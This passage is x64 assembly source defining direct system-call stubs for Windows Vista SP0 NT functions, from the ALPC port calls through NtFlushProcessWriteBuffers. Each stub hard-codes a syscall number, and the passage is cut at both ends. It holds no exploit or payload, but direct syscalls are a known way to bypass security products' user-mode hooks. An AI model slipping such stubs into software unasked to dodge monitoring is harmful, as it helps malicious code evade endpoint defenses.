_6_0_6000_sp0_windows_vista_NtAlpcCancelMessage ENDP ; ULONG64 __stdcall NtAlpcConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_0_6000_sp0_windows_vista_NtAlpcConnectPort PROC STDCALL mov r10 , rcx mov eax , 113 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcConnectPort ENDP ; ULONG64 __stdcall NtAlpcCreatePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtAlpcCreatePort PROC STDCALL mov r10 , rcx mov eax , 114 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcCreatePort ENDP ; ULONG64 __stdcall NtAlpcCreatePortSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtAlpcCreatePortSection PROC STDCALL mov r10 , rcx mov eax , 115 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcCreatePortSection ENDP ; ULONG64 __stdcall NtAlpcCreateResourceReserve( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtAlpcCreateResourceReserve PROC STDCALL mov r10 , rcx mov eax , 116 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcCreateResourceReserve ENDP ; ULONG64 __stdcall NtAlpcCreateSectionView( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtAlpcCreateSectionView PROC STDCALL mov r10 , rcx mov eax , 117 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcCreateSectionView ENDP ; ULONG64 __stdcall NtAlpcCreateSecurityContext( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtAlpcCreateSecurityContext PROC STDCALL mov r10 , rcx mov eax , 118 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcCreateSecurityContext ENDP ; ULONG64 __stdcall NtAlpcDeletePortSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtAlpcDeletePortSection PROC STDCALL mov r10 , rcx mov eax , 119 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcDeletePortSection ENDP ; ULONG64 __stdcall NtAlpcDeleteResourceReserve( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtAlpcDeleteResourceReserve PROC STDCALL mov r10 , rcx mov eax , 120 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcDeleteResourceReserve ENDP ; ULONG64 __stdcall NtAlpcDeleteSectionView( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtAlpcDeleteSectionView PROC STDCALL mov r10 , rcx mov eax , 121 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcDeleteSectionView ENDP ; ULONG64 __stdcall NtAlpcDeleteSecurityContext( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtAlpcDeleteSecurityContext PROC STDCALL mov r10 , rcx mov eax , 122 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcDeleteSecurityContext ENDP ; ULONG64 __stdcall NtAlpcDisconnectPort( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtAlpcDisconnectPort PROC STDCALL mov r10 , rcx mov eax , 123 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcDisconnectPort ENDP ; ULONG64 __stdcall NtAlpcImpersonateClientOfPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtAlpcImpersonateClientOfPort PROC STDCALL mov r10 , rcx mov eax , 124 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcImpersonateClientOfPort ENDP ; ULONG64 __stdcall NtAlpcOpenSenderProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtAlpcOpenSenderProcess PROC STDCALL mov r10 , rcx mov eax , 125 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcOpenSenderProcess ENDP ; ULONG64 __stdcall NtAlpcOpenSenderThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtAlpcOpenSenderThread PROC STDCALL mov r10 , rcx mov eax , 126 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcOpenSenderThread ENDP ; ULONG64 __stdcall NtAlpcQueryInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtAlpcQueryInformation PROC STDCALL mov r10 , rcx mov eax , 127 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcQueryInformation ENDP ; ULONG64 __stdcall NtAlpcQueryInformationMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtAlpcQueryInformationMessage PROC STDCALL mov r10 , rcx mov eax , 128 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcQueryInformationMessage ENDP ; ULONG64 __stdcall NtAlpcRevokeSecurityContext( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtAlpcRevokeSecurityContext PROC STDCALL mov r10 , rcx mov eax , 129 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcRevokeSecurityContext ENDP ; ULONG64 __stdcall NtAlpcSendWaitReceivePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_0_6000_sp0_windows_vista_NtAlpcSendWaitReceivePort PROC STDCALL mov r10 , rcx mov eax , 130 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcSendWaitReceivePort ENDP ; ULONG64 __stdcall NtAlpcSetInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtAlpcSetInformation PROC STDCALL mov r10 , rcx mov eax , 131 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAlpcSetInformation ENDP ; ULONG64 __stdcall NtAreMappedFilesTheSame( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtAreMappedFilesTheSame PROC STDCALL mov r10 , rcx mov eax , 132 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAreMappedFilesTheSame ENDP ; ULONG64 __stdcall NtAssignProcessToJobObject( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtAssignProcessToJobObject PROC STDCALL mov r10 , rcx mov eax , 133 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtAssignProcessToJobObject ENDP ; ULONG64 __stdcall NtCancelDeviceWakeupRequest( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtCancelDeviceWakeupRequest PROC STDCALL mov r10 , rcx mov eax , 134 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCancelDeviceWakeupRequest ENDP ; ULONG64 __stdcall NtCancelIoFileEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtCancelIoFileEx PROC STDCALL mov r10 , rcx mov eax , 135 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCancelIoFileEx ENDP ; ULONG64 __stdcall NtCancelSynchronousIoFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtCancelSynchronousIoFile PROC STDCALL mov r10 , rcx mov eax , 136 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCancelSynchronousIoFile ENDP ; ULONG64 __stdcall NtClearAllSavepointsTransaction( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtClearAllSavepointsTransaction PROC STDCALL mov r10 , rcx mov eax , 137 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtClearAllSavepointsTransaction ENDP ; ULONG64 __stdcall NtClearSavepointTransaction( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtClearSavepointTransaction PROC STDCALL mov r10 , rcx mov eax , 138 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtClearSavepointTransaction ENDP ; ULONG64 __stdcall NtCommitComplete( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtCommitComplete PROC STDCALL mov r10 , rcx mov eax , 139 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCommitComplete ENDP ; ULONG64 __stdcall NtCommitEnlistment( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtCommitEnlistment PROC STDCALL mov r10 , rcx mov eax , 140 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCommitEnlistment ENDP ; ULONG64 __stdcall NtCommitTransaction( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtCommitTransaction PROC STDCALL mov r10 , rcx mov eax , 141 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCommitTransaction ENDP ; ULONG64 __stdcall NtCompactKeys( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtCompactKeys PROC STDCALL mov r10 , rcx mov eax , 142 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCompactKeys ENDP ; ULONG64 __stdcall NtCompareTokens( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtCompareTokens PROC STDCALL mov r10 , rcx mov eax , 143 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCompareTokens ENDP ; ULONG64 __stdcall NtCompleteConnectPort( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtCompleteConnectPort PROC STDCALL mov r10 , rcx mov eax , 144 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCompleteConnectPort ENDP ; ULONG64 __stdcall NtCompressKey( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtCompressKey PROC STDCALL mov r10 , rcx mov eax , 145 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCompressKey ENDP ; ULONG64 __stdcall NtConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_0_6000_sp0_windows_vista_NtConnectPort PROC STDCALL mov r10 , rcx mov eax , 146 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtConnectPort ENDP ; ULONG64 __stdcall NtCreateDebugObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtCreateDebugObject PROC STDCALL mov r10 , rcx mov eax , 147 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateDebugObject ENDP ; ULONG64 __stdcall NtCreateDirectoryObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtCreateDirectoryObject PROC STDCALL mov r10 , rcx mov eax , 148 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateDirectoryObject ENDP ; ULONG64 __stdcall NtCreateEnlistment( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_0_6000_sp0_windows_vista_NtCreateEnlistment PROC STDCALL mov r10 , rcx mov eax , 149 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateEnlistment ENDP ; ULONG64 __stdcall NtCreateEventPair( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtCreateEventPair PROC STDCALL mov r10 , rcx mov eax , 150 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateEventPair ENDP ; ULONG64 __stdcall NtCreateIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtCreateIoCompletion PROC STDCALL mov r10 , rcx mov eax , 151 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateIoCompletion ENDP ; ULONG64 __stdcall NtCreateJobObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtCreateJobObject PROC STDCALL mov r10 , rcx mov eax , 152 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateJobObject ENDP ; ULONG64 __stdcall NtCreateJobSet( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtCreateJobSet PROC STDCALL mov r10 , rcx mov eax , 153 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateJobSet ENDP ; ULONG64 __stdcall NtCreateKeyTransacted( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_0_6000_sp0_windows_vista_NtCreateKeyTransacted PROC STDCALL mov r10 , rcx mov eax , 154 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateKeyTransacted ENDP ; ULONG64 __stdcall NtCreateKeyedEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtCreateKeyedEvent PROC STDCALL mov r10 , rcx mov eax , 155 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateKeyedEvent ENDP ; ULONG64 __stdcall NtCreateMailslotFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_0_6000_sp0_windows_vista_NtCreateMailslotFile PROC STDCALL mov r10 , rcx mov eax , 156 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateMailslotFile ENDP ; ULONG64 __stdcall NtCreateMutant( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtCreateMutant PROC STDCALL mov r10 , rcx mov eax , 157 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateMutant ENDP ; ULONG64 __stdcall NtCreateNamedPipeFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 ); _6_0_6000_sp0_windows_vista_NtCreateNamedPipeFile PROC STDCALL mov r10 , rcx mov eax , 158 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateNamedPipeFile ENDP ; ULONG64 __stdcall NtCreatePagingFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtCreatePagingFile PROC STDCALL mov r10 , rcx mov eax , 159 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreatePagingFile ENDP ; ULONG64 __stdcall NtCreatePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtCreatePort PROC STDCALL mov r10 , rcx mov eax , 160 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreatePort ENDP ; ULONG64 __stdcall NtCreatePrivateNamespace( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtCreatePrivateNamespace PROC STDCALL mov r10 , rcx mov eax , 161 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreatePrivateNamespace ENDP ; ULONG64 __stdcall NtCreateProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); _6_0_6000_sp0_windows_vista_NtCreateProcess PROC STDCALL mov r10 , rcx mov eax , 162 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateProcess ENDP ; ULONG64 __stdcall NtCreateProfile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); _6_0_6000_sp0_windows_vista_NtCreateProfile PROC STDCALL mov r10 , rcx mov eax , 163 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateProfile ENDP ; ULONG64 __stdcall NtCreateResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); _6_0_6000_sp0_windows_vista_NtCreateResourceManager PROC STDCALL mov r10 , rcx mov eax , 164 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateResourceManager ENDP ; ULONG64 __stdcall NtCreateSemaphore( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtCreateSemaphore PROC STDCALL mov r10 , rcx mov eax , 165 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateSemaphore ENDP ; ULONG64 __stdcall NtCreateSymbolicLinkObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtCreateSymbolicLinkObject PROC STDCALL mov r10 , rcx mov eax , 166 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateSymbolicLinkObject ENDP ; ULONG64 __stdcall NtCreateThreadEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_0_6000_sp0_windows_vista_NtCreateThreadEx PROC STDCALL mov r10 , rcx mov eax , 167 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateThreadEx ENDP ; ULONG64 __stdcall NtCreateTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); _6_0_6000_sp0_windows_vista_NtCreateTimer PROC STDCALL mov r10 , rcx mov eax , 168 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateTimer ENDP ; ULONG64 __stdcall NtCreateToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 ); _6_0_6000_sp0_windows_vista_NtCreateToken PROC STDCALL mov r10 , rcx mov eax , 169 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateToken ENDP ; ULONG64 __stdcall NtCreateTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); _6_0_6000_sp0_windows_vista_NtCreateTransaction PROC STDCALL mov r10 , rcx mov eax , 170 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateTransaction ENDP ; ULONG64 __stdcall NtCreateTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtCreateTransactionManager PROC STDCALL mov r10 , rcx mov eax , 171 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateTransactionManager ENDP ; ULONG64 __stdcall NtCreateUserProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); _6_0_6000_sp0_windows_vista_NtCreateUserProcess PROC STDCALL mov r10 , rcx mov eax , 172 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateUserProcess ENDP ; ULONG64 __stdcall NtCreateWaitablePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtCreateWaitablePort PROC STDCALL mov r10 , rcx mov eax , 173 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateWaitablePort ENDP ; ULONG64 __stdcall NtCreateWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); _6_0_6000_sp0_windows_vista_NtCreateWorkerFactory PROC STDCALL mov r10 , rcx mov eax , 174 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtCreateWorkerFactory ENDP ; ULONG64 __stdcall NtDebugActiveProcess( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtDebugActiveProcess PROC STDCALL mov r10 , rcx mov eax , 175 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtDebugActiveProcess ENDP ; ULONG64 __stdcall NtDebugContinue( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtDebugContinue PROC STDCALL mov r10 , rcx mov eax , 176 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtDebugContinue ENDP ; ULONG64 __stdcall NtDeleteAtom( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtDeleteAtom PROC STDCALL mov r10 , rcx mov eax , 177 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtDeleteAtom ENDP ; ULONG64 __stdcall NtDeleteBootEntry( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtDeleteBootEntry PROC STDCALL mov r10 , rcx mov eax , 178 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtDeleteBootEntry ENDP ; ULONG64 __stdcall NtDeleteDriverEntry( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtDeleteDriverEntry PROC STDCALL mov r10 , rcx mov eax , 179 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtDeleteDriverEntry ENDP ; ULONG64 __stdcall NtDeleteFile( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtDeleteFile PROC STDCALL mov r10 , rcx mov eax , 180 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtDeleteFile ENDP ; ULONG64 __stdcall NtDeleteKey( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtDeleteKey PROC STDCALL mov r10 , rcx mov eax , 181 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtDeleteKey ENDP ; ULONG64 __stdcall NtDeleteObjectAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtDeleteObjectAuditAlarm PROC STDCALL mov r10 , rcx mov eax , 182 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtDeleteObjectAuditAlarm ENDP ; ULONG64 __stdcall NtDeletePrivateNamespace( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtDeletePrivateNamespace PROC STDCALL mov r10 , rcx mov eax , 183 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtDeletePrivateNamespace ENDP ; ULONG64 __stdcall NtDeleteValueKey( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtDeleteValueKey PROC STDCALL mov r10 , rcx mov eax , 184 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtDeleteValueKey ENDP ; ULONG64 __stdcall NtDisplayString( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtDisplayString PROC STDCALL mov r10 , rcx mov eax , 185 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtDisplayString ENDP ; ULONG64 __stdcall NtEnumerateBootEntries( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtEnumerateBootEntries PROC STDCALL mov r10 , rcx mov eax , 186 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtEnumerateBootEntries ENDP ; ULONG64 __stdcall NtEnumerateDriverEntries( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtEnumerateDriverEntries PROC STDCALL mov r10 , rcx mov eax , 187 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtEnumerateDriverEntries ENDP ; ULONG64 __stdcall NtEnumerateSystemEnvironmentValuesEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtEnumerateSystemEnvironmentValuesEx PROC STDCALL mov r10 , rcx mov eax , 188 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtEnumerateSystemEnvironmentValuesEx ENDP ; ULONG64 __stdcall NtEnumerateTransactionObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); _6_0_6000_sp0_windows_vista_NtEnumerateTransactionObject PROC STDCALL mov r10 , rcx mov eax , 189 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtEnumerateTransactionObject ENDP ; ULONG64 __stdcall NtExtendSection( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtExtendSection PROC STDCALL mov r10 , rcx mov eax , 190 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtExtendSection ENDP ; ULONG64 __stdcall NtFilterToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); _6_0_6000_sp0_windows_vista_NtFilterToken PROC STDCALL mov r10 , rcx mov eax , 191 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtFilterToken ENDP ; ULONG64 __stdcall NtFlushInstallUILanguage( ULONG64 arg_01 , ULONG64 arg_02 ); _6_0_6000_sp0_windows_vista_NtFlushInstallUILanguage PROC STDCALL mov r10 , rcx mov eax , 192 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtFlushInstallUILanguage ENDP ; ULONG64 __stdcall NtFlushInstructionCache( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); _6_0_6000_sp0_windows_vista_NtFlushInstructionCache PROC STDCALL mov r10 , rcx mov eax , 193 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtFlushInstructionCache ENDP ; ULONG64 __stdcall NtFlushKey( ULONG64 arg_01 ); _6_0_6000_sp0_windows_vista_NtFlushKey PROC STDCALL mov r10 , rcx mov eax , 194 ;syscall db 0Fh , 05h ret _6_0_6000_sp0_windows_vista_NtFlushKey ENDP ; ULONG64 __stdcall NtFlushProcessWriteBuffers( ); _6_0_6000_sp0_windows_vista_NtFlushProcessWriteBuffers PROC STDCALL mov r10 